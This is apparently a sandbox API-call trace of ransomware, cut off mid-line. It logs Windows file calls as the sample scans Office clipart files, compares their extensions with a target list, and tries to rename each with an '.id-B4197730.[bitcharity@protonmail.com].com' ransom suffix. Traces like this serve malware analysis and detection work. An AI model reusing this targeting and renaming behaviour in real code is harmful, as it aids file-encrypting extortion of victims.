1 [0243.977] lstrlenW (lpString=".rar") returned 4 [0243.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString=".bz2") returned 4 [0243.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString=".7z") returned 3 [0243.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.977] lstrlenW (lpString=".dbf") returned 4 [0243.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.977] lstrlenW (lpString=".1cd") returned 4 [0243.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0243.978] lstrlenW (lpString=".jpg") returned 4 [0243.978] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.978] Sleep (dwMilliseconds=0x64) [0244.209] Sleep (dwMilliseconds=0x64) [0244.704] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0244.704] lstrlenW (lpString="CG1606.WMF") returned 10 [0244.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.072] GetFileSizeEx (in: hFile=0x11cc, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=3564) returned 1 [0245.072] CloseHandle (hObject=0x11cc) returned 1 [0245.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0245.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0245.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.073] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.073] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.073] CloseHandle (hObject=0x11cc) returned 1 [0245.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.074] lstrlenW (lpString=".doc") returned 4 [0245.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString=".docx") returned 5 [0245.074] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0245.074] lstrlenW (lpString=".pdf") returned 4 [0245.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString=".xls") returned 4 [0245.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.074] lstrlenW (lpString=".xlsx") returned 5 [0245.074] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0245.074] lstrlenW (lpString=".ppt") returned 4 [0245.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.074] lstrlenW (lpString=".zip") returned 4 [0245.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.074] lstrlenW (lpString=".rar") returned 4 [0245.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.074] lstrlenW (lpString=".bz2") returned 4 [0245.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString=".7z") returned 3 [0245.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.075] lstrlenW (lpString=".dbf") returned 4 [0245.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.075] lstrlenW (lpString=".1cd") returned 4 [0245.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.075] lstrlenW (lpString=".jpg") returned 4 [0245.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.075] lstrlenW (lpString=".doc") returned 4 [0245.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString=".docx") returned 5 [0245.075] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0245.075] lstrlenW (lpString=".pdf") returned 4 [0245.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString=".xls") returned 4 [0245.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.075] lstrlenW (lpString=".xlsx") returned 5 [0245.075] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0245.075] lstrlenW (lpString=".ppt") returned 4 [0245.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.076] lstrlenW (lpString=".zip") returned 4 [0245.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.076] lstrlenW (lpString=".rar") returned 4 [0245.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.076] lstrlenW (lpString=".bz2") returned 4 [0245.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.076] lstrlenW (lpString=".7z") returned 3 [0245.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.076] lstrlenW (lpString=".dbf") returned 4 [0245.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.076] lstrlenW (lpString=".1cd") returned 4 [0245.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0245.076] lstrlenW (lpString=".jpg") returned 4 [0245.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.076] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0245.076] lstrlenW (lpString="DD01160_.WMF") returned 12 [0245.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.078] GetFileSizeEx (in: hFile=0x11cc, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=2228) returned 1 [0245.078] CloseHandle (hObject=0x11cc) returned 1 [0245.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0245.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0245.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.078] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.078] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.079] CloseHandle (hObject=0x11cc) returned 1 [0245.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.079] lstrlenW (lpString=".doc") returned 4 [0245.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.079] lstrlenW (lpString=".docx") returned 5 [0245.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.079] lstrlenW (lpString=".pdf") returned 4 [0245.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.079] lstrlenW (lpString=".xls") returned 4 [0245.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.079] lstrlenW (lpString=".xlsx") returned 5 [0245.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.079] lstrlenW (lpString=".ppt") returned 4 [0245.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.079] lstrlenW (lpString=".zip") returned 4 [0245.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.079] lstrlenW (lpString=".rar") returned 4 [0245.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.079] lstrlenW (lpString=".bz2") returned 4 [0245.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.080] lstrlenW (lpString=".7z") returned 3 [0245.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.080] lstrlenW (lpString=".dbf") returned 4 [0245.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.080] lstrlenW (lpString=".1cd") returned 4 [0245.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.080] lstrlenW (lpString=".jpg") returned 4 [0245.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.080] lstrlenW (lpString=".doc") returned 4 [0245.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.080] lstrlenW (lpString=".docx") returned 5 [0245.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.080] lstrlenW (lpString=".pdf") returned 4 [0245.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.080] lstrlenW (lpString=".xls") returned 4 [0245.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.080] lstrlenW (lpString=".xlsx") returned 5 [0245.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.080] lstrlenW (lpString=".ppt") returned 4 [0245.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.081] lstrlenW (lpString=".zip") returned 4 [0245.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.081] lstrlenW (lpString=".rar") returned 4 [0245.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.081] lstrlenW (lpString=".bz2") returned 4 [0245.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.081] lstrlenW (lpString=".7z") returned 3 [0245.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.081] lstrlenW (lpString=".dbf") returned 4 [0245.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.081] lstrlenW (lpString=".1cd") returned 4 [0245.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0245.081] lstrlenW (lpString=".jpg") returned 4 [0245.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.081] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0245.081] lstrlenW (lpString="DD01162_.WMF") returned 12 [0245.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.083] GetFileSizeEx (in: hFile=0x11cc, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=2300) returned 1 [0245.083] CloseHandle (hObject=0x11cc) returned 1 [0245.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0245.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0245.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.084] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.084] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.084] CloseHandle (hObject=0x11cc) returned 1 [0245.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.085] lstrlenW (lpString=".doc") returned 4 [0245.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.085] lstrlenW (lpString=".docx") returned 5 [0245.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.085] lstrlenW (lpString=".pdf") returned 4 [0245.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.085] lstrlenW (lpString=".xls") returned 4 [0245.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.085] lstrlenW (lpString=".xlsx") returned 5 [0245.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.085] lstrlenW (lpString=".ppt") returned 4 [0245.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.085] lstrlenW (lpString=".zip") returned 4 [0245.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.085] lstrlenW (lpString=".rar") returned 4 [0245.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.085] lstrlenW (lpString=".bz2") returned 4 [0245.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.085] lstrlenW (lpString=".7z") returned 3 [0245.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.085] lstrlenW (lpString=".dbf") returned 4 [0245.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.086] lstrlenW (lpString=".1cd") returned 4 [0245.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.086] lstrlenW (lpString=".jpg") returned 4 [0245.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.086] lstrlenW (lpString=".doc") returned 4 [0245.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.086] lstrlenW (lpString=".docx") returned 5 [0245.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.086] lstrlenW (lpString=".pdf") returned 4 [0245.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.086] lstrlenW (lpString=".xls") returned 4 [0245.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.086] lstrlenW (lpString=".xlsx") returned 5 [0245.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.086] lstrlenW (lpString=".ppt") returned 4 [0245.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.086] lstrlenW (lpString=".zip") returned 4 [0245.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.086] lstrlenW (lpString=".rar") returned 4 [0245.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.086] lstrlenW (lpString=".bz2") returned 4 [0245.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.087] lstrlenW (lpString=".7z") returned 3 [0245.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.087] lstrlenW (lpString=".dbf") returned 4 [0245.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.087] lstrlenW (lpString=".1cd") returned 4 [0245.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0245.087] lstrlenW (lpString=".jpg") returned 4 [0245.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.087] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0245.087] lstrlenW (lpString="DD01163_.WMF") returned 12 [0245.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.088] GetFileSizeEx (in: hFile=0x11cc, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=2300) returned 1 [0245.088] CloseHandle (hObject=0x11cc) returned 1 [0245.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0245.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0245.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11cc [0245.089] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.089] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.090] CloseHandle (hObject=0x11cc) returned 1 [0245.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.090] lstrlenW (lpString=".doc") returned 4 [0245.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.090] lstrlenW (lpString=".docx") returned 5 [0245.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.090] lstrlenW (lpString=".pdf") returned 4 [0245.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.090] lstrlenW (lpString=".xls") returned 4 [0245.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.090] lstrlenW (lpString=".xlsx") returned 5 [0245.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.090] lstrlenW (lpString=".ppt") returned 4 [0245.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.090] lstrlenW (lpString=".zip") returned 4 [0245.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.090] lstrlenW (lpString=".rar") returned 4 [0245.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.091] lstrlenW (lpString=".bz2") returned 4 [0245.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.091] lstrlenW (lpString=".7z") returned 3 [0245.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.091] lstrlenW (lpString=".dbf") returned 4 [0245.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.091] lstrlenW (lpString=".1cd") returned 4 [0245.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.091] lstrlenW (lpString=".jpg") returned 4 [0245.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0245.091] lstrlenW (lpString="C:\\Program Files\\Microsoft 